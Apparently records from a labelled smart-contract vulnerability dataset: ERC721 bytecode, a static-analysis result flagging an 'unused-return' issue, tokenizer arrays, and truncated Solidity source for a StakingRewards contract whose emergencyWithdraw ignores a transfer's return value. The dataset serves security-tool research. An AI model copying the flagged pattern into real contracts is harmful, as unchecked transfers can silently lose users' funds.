0910390fd5b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d690613654565b60405180910390fd5b6128e881611cda565b15612928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291f90613554565b60405180910390fd5b6129346000838361261c565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461298491906138b2565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612a4560008383612621565b5050565b828054612a5590613a7d565b90600052602060002090601f016020900481019282612a775760008555612abe565b82601f10612a9057805160ff1916838001178555612abe565b82800160010185558215612abe579182015b82811115612abd578251825591602001919060010190612aa2565b5b509050612acb9190612acf565b5090565b5b80821115612ae8576000816000905550600101612ad0565b5090565b6000612aff612afa846137b4565b61378f565b905082815260208101848484011115612b1b57612b1a613c4a565b5b612b26848285613a3b565b509392505050565b6000612b41612b3c846137e5565b61378f565b905082815260208101848484011115612b5d57612b5c613c4a565b5b612b68848285613a3b565b509392505050565b600081359050612b7f81614169565b92915050565b600081359050612b9481614180565b92915050565b600081359050612ba981614197565b92915050565b600081519050612bbe81614197565b92915050565b600082601f830112612bd957612bd8613c45565b5b8135612be9848260208601612aec565b91505092915050565b600082601f830112612c0757612c06613c45565b5b8135612c17848260208601612b2e565b91505092915050565b600081359050612c2f816141ae565b92915050565b600060208284031215612c4b57612c4a613c54565b5b6000612c5984828501612b70565b91505092915050565b60008060408385031215612c7957612c78613c54565b5b6000612c8785828601612b70565b9250506020612c9885828601612b70565b9150509250929050565b600080600060608486031215612cbb57612cba613c54565b5b6000612cc986828701612b70565b9350506020612cda86828701612b70565b9250506040612ceb86828701612c20565b9150509250925092565b60008060008060808587031215612d0f57612d0e613c54565b5b6000612d1d87828801612b70565b9450506020612d2e87828801612b70565b9350506040612d3f87828801612c20565b925050606085013567ffffffffffffffff811115612d6057612d5f613c4f565b5b612d6c87828801612bc4565b91505092959194509250565b60008060408385031215612d8f57612d8e613c54565b5b6000612d9d85828601612b70565b9250506020612dae85828601612b85565b9150509250929050565b60008060408385031215612dcf57612dce613c54565b5b6000612ddd85828601612b70565b9250506020612dee85828601612c20565b9150509250929050565b600060208284031215612e0e57612e0d613c54565b5b6000612e1c84828501612b85565b91505092915050565b600060208284031215612e3b57612e3a613c54565b5b6000612e4984828501612b9a565b91505092915050565b600060208284031215612e6857612e67613c54565b5b6000612e7684828501612baf565b91505092915050565b600060208284031215612e9557612e94613c54565b5b600082013567ffffffffffffffff811115612eb357612eb2613c4f565b5b612ebf84828501612bf2565b91505092915050565b600060208284031215612ede57612edd613c54565b5b6000612eec84828501612c20565b91505092915050565b60008060408385031215612f0c57612f0b613c54565b5b6000612f1a85828601612c20565b9250506020612f2b85828601612b70565b9150509250929050565b6000612f4183836133ca565b60208301905092915050565b612f56816139c7565b82525050565b6000612f678261383b565b612f718185613869565b9350612f7c83613816565b8060005b83811015612fad578151612f948882612f35565b9750612f9f8361385c565b925050600181019050612f80565b5085935050505092915050565b612fc3816139d9565b82525050565b6000612fd482613846565b612fde818561387a565b9350612fee818560208601613a4a565b612ff781613c59565b840191505092915050565b600061300d82613851565b6130178185613896565b9350613027818560208601613a4a565b61303081613c59565b840191505092915050565b600061304682613851565b61305081856138a7565b9350613060818560208601613a4a565b80840191505092915050565b6000815461307981613a7d565b61308381866138a7565b9450600182166000811461309e57600181146130af576130e2565b60ff198316865281860193506130e2565b6130b885613826565b60005b838110156130da578154818901526001820191506020810190506130bb565b838801955050505b50505092915050565b60006130f8603283613896565b915061310382613c6a565b604082019050919050565b600061311b602683613896565b915061312682613cb9565b604082019050919050565b600061313e602583613896565b915061314982613d08565b604082019050919050565b6000613161601c83613896565b915061316c82613d57565b602082019050919050565b6000613184601483613896565b915061318f82613d80565b602082019050919050565b60006131a7602483613896565b91506131b282613da9565b604082019050919050565b60006131ca601983613896565b91506131d582613df8565b602082019050919050565b60006131ed602c83613896565b91506131f882613e21565b604082019050919050565b6000613210603883613896565b915061321b82613e70565b604082019050919050565b6000613233602a83613896565b915061323e82613ebf565b604082019050919050565b6000613256602983613896565b915061326182613f0e565b604082019050919050565b6000613279602083613896565b915061328482613f5d565b602082019050919050565b600061329c602c83613896565b91506132a782613f86565b604082019050919050565b60006132bf602083613896565b91506132ca82613fd5565b602082019050919050565b60006132e2601783613896565b91506132ed82613ffe565b602082019050919050565b6000613305602f83613896565b915061331082614027565b604082019050919050565b6000613328602183613896565b915061333382614076565b604082019050919050565b600061334b60008361388b565b9150613356826140c5565b600082019050919050565b600061336e601483613896565b9150613379826140c8565b602082019050919050565b6000613391603183613896565b915061339c826140f1565b604082019050919050565b60006133b4601383613896565b91506133bf82614140565b602082019050919050565b6133d381613a31565b82525050565b6133e281613a31565b82525050565b60006133f4828661303b565b9150613400828561303b565b915061340c828461306c565b9150819050949350505050565b60006134248261333e565b9150819050919050565b60006020820190506134436000830184612f4d565b92915050565b600060808201905061345e6000830187612f4d565b61346b6020830186612f4d565b61347860408301856133d9565b818103606083015261348a8184612fc9565b905095945050505050565b600060208201905081810360008301526134af8184612f5c565b905092915050565b60006020820190506134cc6000830184612fba565b92915050565b600060208201905081810360008301526134ec8184613002565b905092915050565b6000602082019050818103600083015261350d816130eb565b9050919050565b6000602082019050818103600083015261352d8161310e565b9050919050565b6000602082019050818103600083015261354d81613131565b9050919050565b6000602082019050818103600083015261356d81613154565b9050919050565b6000602082019050818103600083015261358d81613177565b9050919050565b600060208201905081810360008301526135ad8161319a565b9050919050565b600060208201905081810360008301526135cd816131bd565b9050919050565b600060208201905081810360008301526135ed816131e0565b9050919050565b6000602082019050818103600083015261360d81613203565b9050919050565b6000602082019050818103600083015261362d81613226565b9050919050565b6000602082019050818103600083015261364d81613249565b9050919050565b6000602082019050818103600083015261366d8161326c565b9050919050565b6000602082019050818103600083015261368d8161328f565b9050919050565b600060208201905081810360008301526136ad816132b2565b9050919050565b600060208201905081810360008301526136cd816132d5565b9050919050565b600060208201905081810360008301526136ed816132f8565b9050919050565b6000602082019050818103600083015261370d8161331b565b9050919050565b6000602082019050818103600083015261372d81613361565b9050919050565b6000602082019050818103600083015261374d81613384565b9050919050565b6000602082019050818103600083015261376d816133a7565b9050919050565b600060208201905061378960008301846133d9565b92915050565b60006137996137aa565b90506137a58282613aaf565b919050565b6000604051905090565b600067ffffffffffffffff8211156137cf576137ce613c16565b5b6137d882613c59565b9050602081019050919050565b600067ffffffffffffffff821115613800576137ff613c16565b5b61380982613c59565b9050602081019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b60006138bd82613a31565b91506138c883613a31565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138fd576138fc613b5a565b5b828201905092915050565b600061391382613a31565b915061391e83613a31565b92508261392e5761392d613b89565b5b828204905092915050565b600061394482613a31565b915061394f83613a31565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561398857613987613b5a565b5b828202905092915050565b600061399e82613a31565b91506139a983613a31565b9250828210156139bc576139bb613b5a565b5b828203905092915050565b60006139d282613a11565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613a68578082015181840152602081019050613a4d565b83811115613a77576000848401525b50505050565b60006002820490506001821680613a9557607f821691505b60208210811415613aa957613aa8613bb8565b5b50919050565b613ab882613c59565b810181811067ffffffffffffffff82111715613ad757613ad6613c16565b5b80604052505050565b6000613aeb82613a31565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613b1e57613b1d613b5a565b5b600182019050919050565b6000613b3482613a31565b9150613b3f83613a31565b925082613b4f57613b4e613b89565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f496e76616c6964206d696e7420616d6f756e7421000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54686520636f6e74726163742069732070617573656421000000000000000000600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f4d617820737570706c7920657863656564656421000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f496e73756666696369656e742066756e64732100000000000000000000000000600082015250565b614172816139c7565b811461417d57600080fd5b50565b614189816139d9565b811461419457600080fd5b50565b6141a0816139e5565b81146141ab57600080fd5b50565b6141b781613a31565b81146141c257600080fd5b5056fea2646970667358221220d15936b95b2b27047d32ecd65af28420233d251a332c45dde652821d95e12d3d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 27531, 4215, 29097, 20842, 2549, 26337, 17134, 7959, 2497, 2683, 24087, 16703, 27009, 2629, 2850, 2581, 6679, 22203, 2620, 9468, 12521, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 24094, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 24094, 1008, 1030, 3166, 4717, 25805, 2078, 1006, 1030, 23822, 1007, 1008, 1030, 16475, 3640, 24094, 2008, 2064, 2069, 2022, 4297, 28578, 14088, 1010, 11703, 28578, 14088, 2030, 25141, 1012, 2023, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,139
0x9648B119f442a3a096C0d5A1F8A0215B46dbb547
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./Ownable.sol"; import "./RewardsDistributionRecipient.sol"; import "../interfaces/IEmergency.sol"; import "../interfaces/IEIP2612.sol"; import "../interfaces/IStakingRewards.sol"; contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, IEmergency { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; address public emergencyRecipient; constructor( address _emergencyRecipient, address _rewardsDistribution, address _rewardsToken, address _stakingToken, uint256 _rewardsDuration ) { require(_rewardsDuration > 0, "rewards duration is 0"); emergencyRecipient = _emergencyRecipient; rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; rewardsDuration = _rewardsDuration; } function totalSupply() external override view returns (uint256) { return _totalSupply; } function balanceOf(address account) external override view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public override view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public override view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public override view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external override view returns (uint256) { return rewardRate.mul(rewardsDuration); } function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) { require(amount > 0, "cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); // permit IEIP2612(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function stake(uint256 amount) external override nonReentrant updateReward(msg.sender) { require(amount > 0, "cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override nonReentrant updateReward(msg.sender) { require(amount > 0, "cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant override updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external override { withdraw(_balances[msg.sender]); getReward(); } function emergencyWithdraw(IERC20 token) external override { require(address(token) != address(rewardsToken) && address(token) != address(stakingToken), "forbidden token"); token.transfer(emergencyRecipient, token.balanceOf(address(this))); } function notifyRewardAmount(uint256 reward) external override onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; abstract contract Ownable { address public owner; address public nominatedOwner; constructor(address _owner) { owner = _owner; } function acceptOwnership() external { require(msg.sender == nominatedOwner, "not nominated"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } function renounceOwnership() external onlyOwner { emit OwnerChanged(owner, address(0)); owner = address(0); } function nominateNewOwner(address newOwner) external onlyOwner { nominatedOwner = newOwner; emit OwnerNominated(newOwner); } modifier onlyOwner { require(msg.sender == owner, "not owner"); _; } event OwnerNominated(address indexed newOwner); event OwnerChanged(address indexed oldOwner, address indexed newOwner); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; abstract contract RewardsDistributionRecipient { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external virtual; modifier 